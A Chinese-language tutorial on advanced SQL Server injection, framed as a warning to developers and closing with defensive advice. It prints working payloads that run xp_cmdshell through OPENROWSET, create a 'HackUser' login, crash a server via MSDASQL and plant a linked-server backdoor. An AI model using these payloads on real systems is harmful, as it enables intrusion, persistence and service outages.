首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入進階技巧:OpenRowset、後門與 MSDASQL 漏洞

     編輯:關於SqlServer

前言

SQL 注入不僅限於基本的 OR 1=1,攻擊者可利用 SQL Server 內建功能(如 OPENROWSET、OPENDATASOURCE)執行系統命令、建立後門,甚至導致服務癱瘓。本文揭露幾個易被忽視的進階注入手法,旨在提醒開發人員加強防禦。

一、利用 OPENROWSET/OPENDATASOURCE 執行本地命令

1. 呼叫 xp_cmdshell

SELECT * FROM OPENROWSET(
    'SQLOLEDB', 'server';'sa';'',
    'SET FMTONLY OFF EXEC master.dbo.xp_cmdshell ''dir c:\'''
);

關鍵在於 SET FMTONLY OFF,否則預設只回傳中繼資料,導致命令不執行。

2. 呼叫不回傳結果集的預存程序(如 sp_addlogin)

SELECT * FROM OPENROWSET(
    'SQLOLEDB', 'server';'sa';'',
    'SELECT ''OK!'' EXEC master.dbo.sp_addlogin ''HackUser'''
);

透過 SELECT 'OK!' 產生虛擬結果集,欺騙外層 SELECT,使命令順利執行。

二、MSDASQL 雙重請求導致服務崩潰

使用 MSDASQL 提供者連接遠端 SQL Server 時,若單一批次包含兩個欄位數不同的 SELECT,會觸發嚴重錯誤:

SELECT * FROM OPENROWSET(
    'MSDASQL',
    'driver={SQL Server};server=target;uid=sa;pwd=;database=master',
    'SELECT * FROM table1; SELECT * FROM table2'  -- 欄位數不同時觸發
);

現象:遠端 SQL Server 進程崩潰,本地連線也失效,需重啟機器才能恢復。此漏洞僅存在於 MSDASQL,SQLOLEDB 不受影響。

三、建立持久化後門:本地連接映射

攻擊者以 SA 身分執行:

SELECT * FROM OPENROWSET(
    'SQLOLEDB',
    'trusted_connection=yes;data source=BackDoorName',
    'SET FMTONLY OFF EXEC master..xp_cmdshell ''dir c:\'''
);

這會在目標伺服器建立名為 BackDoorName 的連結伺服器映射。之後即使是 guest 帳號,也能透過相同語句以 localsystem 權限執行命令,且映射在服務重啟前持續有效。

四、嘗試利用系統預設 DSN 繞過權限限制

Windows 內建 localserver、msqi 兩個系統 DSN,以本地管理員身分連線。若 SQL Server 以 Power User 啟動,SA 權限受限,攻擊者可能嘗試:

SELECT * FROM OPENROWSET(
    'MSDASQL', 'dsn=localserver;trusted_connection=yes',
    'SET FMTONLY OFF EXEC master..xp_cmdshell ''dir c:\'''
);

但 MSDASQL 限制非管理員呼叫,目前仍無成熟利用方式。

五、防禦建議

  • 嚴格限制 OPENROWSET/OPENDATASOURCE 權限,移除 PUBLIC 執行權限。
  • 停用或移除 xp_cmdshell、sp_addlogin 等高危擴展程序。
  • 定期稽核連結伺服器(sys.servers),刪除不明映射。
  • 應用層使用參數化查詢,杜絕字串拼接 SQL。
  • 部署 WAF 與資料庫防火牆,攔截異常語句。

結語

理解進階注入手法,有助於建立深層防禦體系。資料庫安全不僅是 DBA 責任,開發人員更應在代碼層面堵塞注入入口。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved